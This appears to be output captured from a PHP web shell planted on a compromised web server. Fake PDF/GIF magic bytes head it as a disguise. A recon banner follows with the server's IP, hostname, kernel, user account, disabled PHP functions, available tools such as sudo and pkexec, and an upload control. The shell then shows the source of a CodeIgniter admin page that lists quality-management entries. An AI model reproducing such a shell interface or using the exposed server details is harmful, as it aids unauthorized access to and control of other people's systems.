%PDF-1.7 GIF89;
Server IP : 5.161.254.237 / Your IP : 216.73.216.191 Web Server : Apache System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64 User : stellasp ( 1131) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/stellasp/www/application/views/admin/ |
Upload File : |
<?php defined('BASEPATH') OR exit('No direct script access allowed');?> <?php $this->load->view('backend/Common/Head'); ?> <?php $this->load->view('backend/Common/Header'); ?> <?php $this->load->view('backend/Common/Sidebar'); ?> <?php $this->load->view('backend/Common/Menu'); ?> <script type="text/javascript"> function areyousure() { return confirm('Are you sure you want to delete this Post'); } </script> <div class="right_col" role="main"> <div class="button_set"> <h2>Quality Management</h2> <a class="btn btn-sm btn-primary pull-right" href="<?php echo site_url($this->config->item('admin_folder').'/quality_management/form');?>"><?php echo 'Add New';//lang('add_new_product');?></a> </div> <?php echo form_open($this->config->item('admin_folder').'/quality_management/bulk_save', array('id'=>'bulk_form'));?> <table class="table table-striped projects" cellspacing="0" cellpadding="0"> <thead> <tr> <th><?php echo lang('name');?></th> <th style="width:60px;"><?php echo lang('enabled');?></th> <th class="gc_cell_right"></th> </tr> </thead> <tbody> <?php echo (count($products) < 1)?'<tr><td style="text-align:center;" colspan="7">There is no Post.</td></tr>':''?> <?php foreach ($products as $product):?> <tr class="gc_row"> <td><?php echo form_input(array('name'=>'product['.$product->id.'][name]','value'=>form_decode($product->name), 'class'=>'gc_tf3'));?></td> <td> <?php if($product->enabled == 1){ echo 'Enabled'; }else{ echo 'Disabled'; } ?> </td> <td class="gc_cell_right list_buttons pull-right"> <a href="<?php echo site_url($this->config->item('admin_folder').'/quality_management/delete/'.$product->id);?>" class="btn btn-danger btn-xs" onclick="return areyousure();"><?php echo lang('delete');?></a> <a href="<?php echo site_url($this->config->item('admin_folder').'/quality_management/form/'.$product->id);?>" class="btn btn-primary btn-xs"><?php echo lang('edit');?></a> <a href="<?php echo site_url($this->config->item('admin_folder').'/quality_management/form/'.$product->id.'/1');?>" class="btn btn-primary btn-xs"><?php echo lang('copy');?></a> </td> </tr> <?php endforeach; ?> </tbody> </table> </form> <div class="button_set"> </div> </div> <?php $this->load->view('backend/Common/Footer'); ?> <?php $this->load->view('backend/Common/Script'); ?> </body> </html>